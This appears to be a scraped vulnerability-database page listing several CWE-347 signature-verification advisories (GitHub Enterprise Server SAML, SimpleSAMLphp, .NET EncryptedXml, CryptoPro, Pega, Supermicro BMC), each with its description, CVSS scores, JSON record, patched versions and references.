An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

9.5 (Critical)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/R:U/V:C/RE:M/U:Red

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-9487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-10T22:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-g83h-4727-5rpv",
  "modified": "2024-11-15T18:30:47Z",
  "published": "2024-10-11T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9487"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.16"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.10"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.13/admin/release-notes#3.13.5"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:C/RE:M/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G888-G2PP-82HF

Vulnerability from github – Published: 2022-05-14 03:34 – Updated: 2023-07-25 20:55

Summary

SimpleSAMLphp saml2 incorrect signature validation

Details

HTTPRedirect.php in the saml2 library in SimpleSAMLphp before 1.15.4 has an incorrect check of return values in the signature validation utilities, allowing an attacker to get invalid signatures accepted as valid by forcing an error during validation. This occurs because of a dependency on PHP functionality that interprets a -1 error code as a true boolean value.

Severity

8.1 (High)


                  
                    CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-7711"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-25T20:55:06Z",
    "nvd_published_at": "2018-03-05T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "HTTPRedirect.php in the saml2 library in SimpleSAMLphp before 1.15.4 has an incorrect check of return values in the signature validation utilities, allowing an attacker to get invalid signatures accepted as valid by forcing an error during validation. This occurs because of a dependency on PHP functionality that interprets a -1 error code as a true boolean value.",
  "id": "GHSA-g888-g2pp-82hf",
  "modified": "2023-07-25T20:55:06Z",
  "published": "2022-05-14T03:34:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7711"
    },
    {
      "type": "WEB",
      "url": "https://github.com/simplesamlphp/saml2/commit/4f6af7f69f29df8555a18b9bb7b646906b45924d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/simplesamlphp/saml2/CVE-2018-7711.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/03/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://simplesamlphp.org/security/201803-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SimpleSAMLphp saml2 incorrect signature validation"
}

GHSA-G8R8-53C2-PM3F

Vulnerability from github – Published: 2026-07-20 22:44 – Updated: 2026-07-21 16:49

Summary

Microsoft Security Advisory CVE-2026-47304 – .NET Security Feature Bypass Vulnerability

Details

Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in .NET XML Encryption (System.Security.Cryptography.Xml). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

A security feature bypass vulnerability exists in the XML encryption implementation (EncryptedXml) in .NET 8, .NET 9, and .NET 10. An attacker could exploit this vulnerability to bypass encryption protections and access encrypted data.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/412.

CVSS Details

Version: 3.1
Severity: High
Score: 8.1
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C
Weakness: CWE-347 (Improper Verification of Cryptographic Signature)

Affected Platforms

Platforms: All
Architectures: All

Affected Packages

The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below

.NET 10.0

Package name	Affected version	Patched version
System.Security.Cryptography.Xml	>= 10.0.0, <= 10.0.9	10.0.10

.NET 9.0

Package name	Affected version	Patched version
System.Security.Cryptography.Xml	>= 9.0.0, <= 9.0.17	9.0.18

.NET 8.0

Package name	Affected version	Patched version
System.Security.Cryptography.Xml	>= 8.0.0, <= 8.0.3	8.0.4

Advisory FAQ

How do I know if I am affected?

If using a package listed in affected packages, you're exposed to the vulnerability.

How do I fix the issue?

To update the System.Security.Cryptography.Xml NuGet package, use one of the following methods:

NuGet Package Manager UI in Visual Studio: - Open your project in Visual Studio. - Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages". - In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources. - Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version. - Click the "Update" button.

Using the NuGet Package Manager Console in Visual Studio: - Open your project in Visual Studio. - Navigate to "Tools > NuGet Package Manager > Package Manager Console". - To update a specific package to its latest version, use the following Update-Package command:

Update-Package -Id System.Security.Cryptography.Xml

Using the .NET CLI (Command Line Interface): - Open a terminal or command prompt in your project's directory. - To update a specific package to its latest version, use the following add package command:

dotnet add package System.Security.Cryptography.Xml

Once you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability.

Other Information

Reporting Security Issues

If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.

Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2026-47304

Acknowledgements

Levi Broderick with Microsoft

Revisions

V1.0 (July 14, 2026): Advisory published.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.17"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.3"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:44:42Z",
    "nvd_published_at": "2026-07-14T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET XML Encryption (System.Security.Cryptography.Xml). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA security feature bypass vulnerability exists in the XML encryption implementation (EncryptedXml) in .NET 8, .NET 9, and .NET 10. An attacker could exploit this vulnerability to bypass encryption protections and access encrypted data.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/412.\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 8.1\n- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-347 (Improper Verification of Cryptographic Signature)\n\n## Affected Platforms\n\n- **Platforms:** All\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below\n\n### \u003ca name=\".NET 10.0\"\u003e\u003c/a\u003e.NET 10.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n\n### \u003ca name=\".NET 9.0\"\u003e\u003c/a\u003e.NET 9.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n\n### \u003ca name=\".NET 8.0\"\u003e\u003c/a\u003e.NET 8.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml)               | \u003e= 8.0.0, \u003c= 8.0.3 | 8.0.4\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf using a package listed in [affected packages](#affected-packages), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\nTo update the System.Security.Cryptography.Xml NuGet package, use one of the following methods:\n\nNuGet Package Manager UI in Visual Studio:\n- Open your project in Visual Studio.\n- Right-click on your project in Solution Explorer and select \"Manage NuGet Packages...\" or navigate to \"Project \u003e Manage NuGet Packages\".\n- In the NuGet Package Manager window, select the \"Updates\" tab. This tab lists packages with available updates from your configured package sources.\n- Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version.\n- Click the \"Update\" button.\n\nUsing the NuGet Package Manager Console in Visual Studio:\n- Open your project in Visual Studio.\n- Navigate to \"Tools \u003e NuGet Package Manager \u003e Package Manager Console\".\n- To update a specific package to its latest version, use the following Update-Package command:\n\n```Update-Package -Id System.Security.Cryptography.Xml```\n\nUsing the .NET CLI (Command Line Interface):\n- Open a terminal or command prompt in your project\u0027s directory.\n- To update a specific package to its latest version, use the following add package command:\n\n```dotnet add package System.Security.Cryptography.Xml```\n\nOnce you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-47304]( https://www.cve.org/CVERecord?id=CVE-2026-47304)\n\n### Acknowledgements\n\nLevi Broderick with Microsoft\n\n### Revisions\n\nV1.0 (July 14, 2026): Advisory published.",
  "id": "GHSA-g8r8-53c2-pm3f",
  "modified": "2026-07-21T16:49:11Z",
  "published": "2026-07-20T22:44:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/security/advisories/GHSA-g8r8-53c2-pm3f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47304"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/announcements/issues/412"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/issues/130709"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/runtime"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2026-47304 \u2013 .NET Security Feature Bypass Vulnerability"
}

GHSA-G8WR-64Q9-3XM2

Vulnerability from github – Published: 2026-08-12 15:30 – Updated: 2026-08-13 18:31

Details

CPSD CryptoPro Secure Disk for Bitlocker before v7.7.4 fails to properly validate LUKS encryption and, if encryption is present, all CryptoPro file integrity checks are skipped.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-59324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T15:17:31Z",
    "severity": "CRITICAL"
  },
  "details": "CPSD CryptoPro Secure Disk for Bitlocker before v7.7.4 fails to properly validate LUKS encryption and, if encryption is present, all CryptoPro file integrity checks are skipped.",
  "id": "GHSA-g8wr-64q9-3xm2",
  "modified": "2026-08-13T18:31:24Z",
  "published": "2026-08-12T15:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59324"
    },
    {
      "type": "WEB",
      "url": "https://i.blackhat.com/BH-USA-26/Presentations/US-26-Burch-The-Cost-of-Obscurity-Wednesday.pdf"
    },
    {
      "type": "WEB",
      "url": "https://i.blackhat.com/BH-USA-26/Presentations/US-26-Burch-The-Cost-of-Obscurity-wp.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.cpsd.at/blog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G9G7-H67P-37M6

Vulnerability from github – Published: 2026-08-10 18:32 – Updated: 2026-08-10 18:32

Details

Pega Platform versions 8.5.0 through 25.1.2 are affected by an improper validation of cryptographic signatures that may allow an attacker to bypass security controls.

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-10754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T18:17:39Z",
    "severity": "HIGH"
  },
  "details": "Pega Platform versions 8.5.0 through 25.1.2 are affected by an improper validation of cryptographic signatures that may allow an attacker to bypass security controls.",
  "id": "GHSA-g9g7-h67p-37m6",
  "modified": "2026-08-10T18:32:17Z",
  "published": "2026-08-10T18:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10754"
    },
    {
      "type": "WEB",
      "url": "https://support.pega.com/support-doc/pega-security-advisory-m26-vulnerability-remediation-note"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GCFH-VW6R-JGV8

Vulnerability from github – Published: 2025-09-19 03:30 – Updated: 2025-09-19 03:30

Details

There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW . An attacker can update the system firmware with a specially crafted image.

Severity

6.6 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-7937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-19T03:15:50Z",
    "severity": "MODERATE"
  },
  "details": "There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW . An attacker can update the system firmware with a specially crafted image.",
  "id": "GHSA-gcfh-vw6r-jgv8",
  "modified": "2025-09-19T03:30:52Z",
  "published": "2025-09-19T03:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7937"
    },
    {
      "type": "WEB",
      "url": "https://www.supermicro.com/en/support/security_BMC_IPMI_Sept_2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CWE-347

Improper Verification of Cryptographic Signature

GHSA-G5RW-PW9W-C288

GHSA-G5WV-CVF4-2R98

GHSA-G6VG-WJ8F-48CJ

Summary

Details

PoC

Impact

Suggested remediation

GHSA-G827-5JXH-C39H

GHSA-G83H-4727-5RPV

GHSA-G888-G2PP-82HF

GHSA-G8R8-53C2-PM3F

Executive summary

Announcement

CVSS Details

Affected Platforms

Affected Packages

.NET 10.0

.NET 9.0

.NET 8.0

Advisory FAQ

How do I know if I am affected?

How do I fix the issue?

Other Information

Reporting Security Issues

Support

Disclaimer

External Links

Acknowledgements

Revisions

GHSA-G8WR-64Q9-3XM2

GHSA-G9G7-H67P-37M6

GHSA-GCFH-VW6R-JGV8

CAPEC-463: Padding Oracle Crypto Attack

CAPEC-475: Signature Spoofing by Improper Validation